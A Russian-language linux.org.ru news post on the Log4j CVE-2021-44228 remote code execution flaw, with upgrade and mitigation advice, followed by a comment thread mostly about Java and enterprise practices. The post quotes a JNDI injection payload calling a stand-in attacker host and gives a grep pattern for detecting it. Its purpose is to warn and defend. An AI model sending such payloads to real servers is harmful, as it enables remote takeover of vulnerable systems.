LINUX.ORG.RU

Критическая уязвимость в Log4j позволяет выполнять произвольный код на сервере

 , ,


0

2

Опубликована критическая уязвимость CVE-2021-44228 в библиотеке Log4j языка Java. Библиотека разрабатывается с 2001 года в Арасhe Software Foundation и представляет собой фреймворк ведения логов.

Уязвимость является крайне опасной ввиду следующих причин:

  • Чрезвычайно широкое распростронение библиотеки в экосистеме Java
  • Крайне простой эксплойт
  • Возможность выполнения злоумышленником произвольной команды на сервере
  • Возможность написания злоумышленником автоматических сканеров уязвимости в доступных из Интернет сервисах (тактика «spray and pray»)

Уязвимость работает путем передачи для записи в лог строки вида "${jndi:ldap://hackerownserver.com/resource}", при этом злоумышленник держит на hackerownserver.com сервер LDAP, специально настроенный для проведения атак вида «JNDI Injection», например JNDIExploit.

Помимо схемы jndi:ldap: возможно использование jndi:rmi: и jndi:dns:

Как бороться

Уязвимыми следует считать Log4j версии 2.x. Версии 1.x уязвимы только при явном использовании JMSAppender.

Проверить журнал приложения на предмет предпринятых атак можно при помощи egrep -i -r '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+'

Для устранения уязвимости необходимо как можно скорее обновить Log4j до версии 2.15.0. Кроме того, если обновление невозможно в силу тех или иных причин, то обезопасить приложение можно путем установки системной переменной Java log4j2.formatMsgNoLookups в значение true (для Log4j 2.10+), или путем удаления класса JndiLookup из classpath.

Update Dec 15: Описанные выше меры в ряде случаев не полностью закрывают уязвимость. Рекомендуется обновляться сразу до версии 2.16.0.

>>> Официальная страница Log4j

>>> Log4j RCE Exploitation Detection

>>> JNDIExploit

>>> Как работает JNDI Injection

По отдельным проектам

>>> CVE-2021-44228

anonymous

Проверено: alpha ()
Последнее исправление: alpha (всего исправлений: 4)

Ответ на: комментарий от leave

Мы 130 миллионов на провалившийся перевод потратили.

GP
()
Ответ на: комментарий от Rinaldus

Гадостью её делают всякие гадостные фреймворки, на которых пишутся приложения. Сам по себе Pure Java Core вполне неплох.

sadko4u ★★
()
Ответ на: комментарий от alpha

Ну камон, Java 6 - это 2006 год, систему делали и проектировали 15 лет назад. Тогда было нормально проектировать так, как будто изменений не существует. Это и сейчас нормально в том смысле, что распространено, но хотя бы считается плохим подходом

CaveRat ★★
()
Ответ на: комментарий от Rinaldus

Когда я изучал джаву, когда она была уровня апплетов, я уже тогда понимал, что это будущее.

Это оказалось правдой.

GP
()
Ответ на: комментарий от alpha

Чувак, у нас есть архитектура. И она расширяема.

Только ты не найдёшь людей, которые бы сумеют запустить монолит Ява 6 на 11.

Если ты говоришь, что сможешь это сделать, то ты шарлатан из мира тырпрайза.

GP
()
Ответ на: комментарий от GP

Только ты не найдёшь людей, которые бы сумеют запустить монолит Ява 6 на 11.

Просто надо перестать относиться к своему монолиту как к памятнику архитектуры во-первых. А во-вторых начинать не с поиска людей, которые будут зачем-то таскать этот монолит туда-сюда, а с поиска тех, кто может правильно ставить задачи.

alpha ★★★★★
()
Ответ на: комментарий от GP

Когда я изучал джаву, когда она была уровня апплетов, я уже тогда понимал, что это будущее.

Что подсказывало?

Тогда же изучал, помню сверхагрессивный маркетинг Sun несколько лет подряд, апплеты, которые работали просто отвратительно на железе тех лет: загрузка минимального апплета подвешивала систему целиком на десятки секунд или даже минуты, после чего на экране браузера появлялась криво работающая тормозящая серая какашка.

Я не был тогда «ценителем» языков (как не являюсь и сейчас), но для меня тогдашнего было очевидно: хочешь, чтобы программа работала быстро - C или C++. Хочешь, чтобы написать можно было быстро - Tcl или Perl (чуть позже, Python).

Java тогда не укладывалась вообще никуда. Я не понимал, зачем она нужна, как не понимаю и сейчас, если честно. Ещё напрягает и напрягала многословность, неужели нельзя было «современный» язык придумать более лаконичным?..

emorozov
()
Ответ на: комментарий от GP

В жаве обратная совместимость. Например я юзаю драйвер оракл 9 написанный для жава 1.4 под жавой 17. Всё работает как часы.

Legioner ★★★★★
()
Последнее исправление: Legioner (всего исправлений: 1)
Ответ на: комментарий от alpha

Жирный троллинг ведёте? Впрочем мне нравится стиль Лизы, продолжайте.

crutch_master ★★★★★
()
Ответ на: комментарий от GP

У тебя какие проекты были?

/me Подтаскивается с чашкой попкорна к монитору

crutch_master ★★★★★
()
Ответ на: комментарий от emorozov

В моём понимании. Как раз если отходить от крайностей (либо быстро либо удобно) то java вполне себе логична. Она шустрее Perl и Python, и не настолько технически зубодробительна как C или C++.

А вот многословность, это момент сложнее. Учитывая что большинство слов это названия переменных, методов и классов то возникает вопрос - а как можно писать большие системы с кучей сущностей, не прибегая к чёткому обозначению что есть что?

Или вы предлагаете сокращать всё и вся и довольствоваться названиями методов в стиле тыцПыц()?

mgelios
()
Ответ на: комментарий от mgelios

Или вы предлагаете сокращать всё и вся и довольствоваться названиями методов в стиле тыцПыц()?

Нет, я просто помню, как простейшие задачи, типа прочитать и вывести файл, которые в других языках записывались одной строкой, в Java превращались в нечитаемое месиво всяких BufferedFileReader. Смутно помню, в конкретных названиях могу ошибиться.

Не хочу спорить и сравнивать, просто мне Java идиосинкратически никогда не нравилась. Я тоже честно верил в середине 90-х, что за ней будущее, и старался через силу использовать, но вообще не шло… Категорически не нравился опыт написания кода на Java, не нравилась её потрясающая тормознутость (сейчас, возможно, это сложно понять, но на обычном железе конца 90-х, начала 2000-х, жаба адски тормозила и лагала), не нравился тоталитаризм (один класс - один файл, и т.д. и т.п.), хотя я понимал, в общем, зачем это нужно. Короче, помучился пару лет, заставляя себя полюбить её, да и плюнул, и до сих пор терпеть не могу…

Хотя пользуюсь продуктами JetBrains, но они, подозреваю, наполовину на чём-то другом написаны, да и JRE у них давно своя, и года до 2010-2011 они тоже еле ворочались на обычном домашнем железе.

emorozov
()
Последнее исправление: emorozov (всего исправлений: 1)

Отличная информация Спасибо.

pacify ★★★★★
()
Ответ на: комментарий от crutch_master

Это не софт, это баги. Баги надо исправлять, а не воссоздавать окружение, в котором эти баги воспроизводятся и называть это софтом.

Legioner ★★★★★
()
Ответ на: комментарий от Legioner

Ты так говоришь, как будто ты стесняешься своего списочка из 2 проектов на свинге

GP
()

в библиотеке языка Java

Все ясно. Вопросов не имею.

Odalist ★★★★★
()

Между тем GitHub включил режим «защита от школьников» и закрыл репы, которые могут быть использованы для проведения атак по этой дыре, например, упомянутый в новости JNDIExploit

anonymous
()
Ответ на: комментарий от anonymous

Между тем GitHub включил режим «защита от школьников» и закрыл репы, которые могут быть использованы для проведения атак

Это fake news. Проверяй источники.

alpha ★★★★★
()
Ответ на: комментарий от menangen

Я тут слышал, что многие java разрабы в день пишут от силы 10 строчек кода, остальное время проводят в бесконечных совещаниях и тим-билдингах. Надеюсь, ковид немного приземлил их

Кек, 10 строк это мало?
Сейчас бы строчками кода перформанс измерять.
Я за сегодня написал 3. Не считаю что это мало.

Xunnu ★★
()

log4j2 кто-то использует? Всегда и везде использую log4j12 over slf4j.

Кстати, как они так умудрились обосраться? Это же java, какое нахрен произвольное исполнение? Или там был код в стиле if (logMsg.equals(«magic_string») { execute(code_from_logMsg); } ?

Update: пропустил это: ${jndi:ldap://hackerownserver.com/resource}", да я был прав, это вообще не уязвимость, это похоже на умышленный бэкдор. Библиотеку после такого надо выпиливать везде и бойкотировать, а не обновлять до 2.15

Reset ★★★★★
()
Последнее исправление: Reset (всего исправлений: 1)
Ответ на: комментарий от Legioner

Зависит от того как написано приложение. В серьезном Ъ-ынтерпрайзе всегда используется какой-нибудь sun.misc или еще какая-нибудь хрень, которая в следующем релизе работает иначе или не работает вообще. Если оно просто не заработает, то считай, что сильно повезло, но обычно бывает иначе :)

Reset ★★★★★
()
Ответ на: комментарий от alpha

По факту ссылка на JNDIExploit ведет в 404. Это не я придумал, это по факту так и есть, можешь проверить, кликнув по ссылке из новости.

Reset ★★★★★
()

я был в этом эпичном тредике

smilessss ★★★★★
()
Ответ на: комментарий от sadko4u

Вот вот. Если проект использует какой-нибудь spring-*, то это всё, говнокод на говнокоде и антипаттерном погоняет. Когда спрашиваешь почему так сделано - обычно отвечают, что тут так принято :)

Reset ★★★★★
()
Ответ на: комментарий от annulen

У брандмауера под виндой и фаерволла iptables совершенно разный функционал. Вопрос: как назвать брандмауер так, чтобы отличать его от фаерволла?

next_time ★★★★★
()
Ответ на: комментарий от Reset

Всегда и везде использую log4j12

У этой версии тоже не всё ок. Посмотри на отчет Atlassian для примера.

Там свой форк log4j12 в нём всё не так страшно, но если используется какой-то там Appender, то может быть проблема.

alpha ★★★★★
()

Нам к счастью массово прикатило из репа автоматом, эксклюд руками доставили и норм

upcFrost ★★★★★
()
Ответ на: комментарий от next_time

И чем же он совершенно разный?

anonymous
()
Ответ на: комментарий от GP

Сам ищи, CVE-2021-4104

И заодно CVE-2019-17571 посмотри чтобы два раза не вставать

alpha ★★★★★
()
Ответ на: комментарий от Reset

в серьезном энтерпрайзе всегда есть список Non-permitted technologies, за который отвечают контрестные люди в подчинении CIO/CTO, и если таковой список отсутствует, то это - несерьезный энтерпрайз, а его CIO - некопенгаген

zapruder
()
Последнее исправление: zapruder (всего исправлений: 2)
Ответ на: комментарий от Legioner

В принципе, да, ты прав. Можешь взять, да переделать наш софт, никто не против.

crutch_master ★★★★★
()
Последнее исправление: crutch_master (всего исправлений: 2)
Ответ на: комментарий от zapruder

в серьезном энтерпрайзе всегда есть

Сколько живу, столько и слышу сказки: «А вот где-то есть такое чудесное место, где всё делается по божественным правилам, записанным на скрижалях Кнутом, Виртом, etc, и все счастливы донельзя»…

Даже когда-то верил в эти сказки, пока не столкнулся с реальностью множество раз.

emorozov
()
Ответ на: комментарий от zapruder

Каждую либу у CTO одобрять? Это где такая бюрократия ? Скажи, чтобы я туда на пушечный выстрел не приближался.

Reset ★★★★★
()
Ответ на: комментарий от emorozov

Сколько живу, столько и слышу сказки

это не сказки а реалии жизни

zapruder
()
Ответ на: комментарий от Reset

Каждую либу у CTO одобрять?

нет. СТО одобряет тех, кто следит за внутренней безопасностью, а те - одобряют каждую либу

Это где такая бюрократия ?

везде, где честно относятся к безопасности

Скажи, чтобы я туда на пушечный выстрел не приближался.

мы вас и близко на пушечный выстрел не подпустим

zapruder
()
Ответ на: комментарий от zapruder

Ты передергиваешь и не следишь за контекстом дискуссии. Я начал не про безопасность, а про совместимость. Задача безопасников не либы одобрять, а следить за уязвимостями и вовремя тикеты на обновление версий вешать на команды. Если безопасники начинают одобрять либы, то они занимают не своим делом и такой конторы действительно следует держаться на пушечный выстрел.

Reset ★★★★★
()
Ответ на: комментарий от Reset

Любой работодатель Европы. Я думаю, что в любом проекте любой фирмы тебе скажут, что нельзя просто так включать стильные модные молодежные библиотеки без согласования с сеньором или CTO.

Я через это прошел, меня очень вежливо попросили убрать зависимости.

GP
()
Ответ на: комментарий от Reset

Задача безопасников не либы одобрять

Вообще новые либы вносятся с согласования тима, если ты член этой команды.

Другое дело, если никто не хочет брать на себя ответственность за этот процесс.

Тогда просто говорят: ты можешь использовать те библиотеки, которые считаешь нужными.

Но это по мелочевке. Крупняк нужно обязательно согласовывать. Лично знаю уволенного человек, который притащил в проект первый ангуляр. Его за это уволили. Мне пришлось переписывать все с нуля на JQuery

GP
()
Ответ на: комментарий от GP

Вообще новые либы вносятся с согласования тима, если ты член этой команды.

Именно, но никак не CTO или безопасников.

Reset ★★★★★
()
Ответ на: комментарий от Reset

Кроме того, согласование уровня «ты нет против, чтобы я подключил эту либу» не отменяет ее аудит со стороны безопасников

GP
()
Ответ на: комментарий от GP

Я не против, пусть аудируют им же надо чем-то заниматься, а не штаны просиживать. Обычно этот аудит происходит асинхронно без блокирования разработки.

Reset ★★★★★
()
Ответ на: комментарий от anonymous

прикольно если можно себе курокод выписать или бахнуть всю базу курокодов вообще

salozar
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.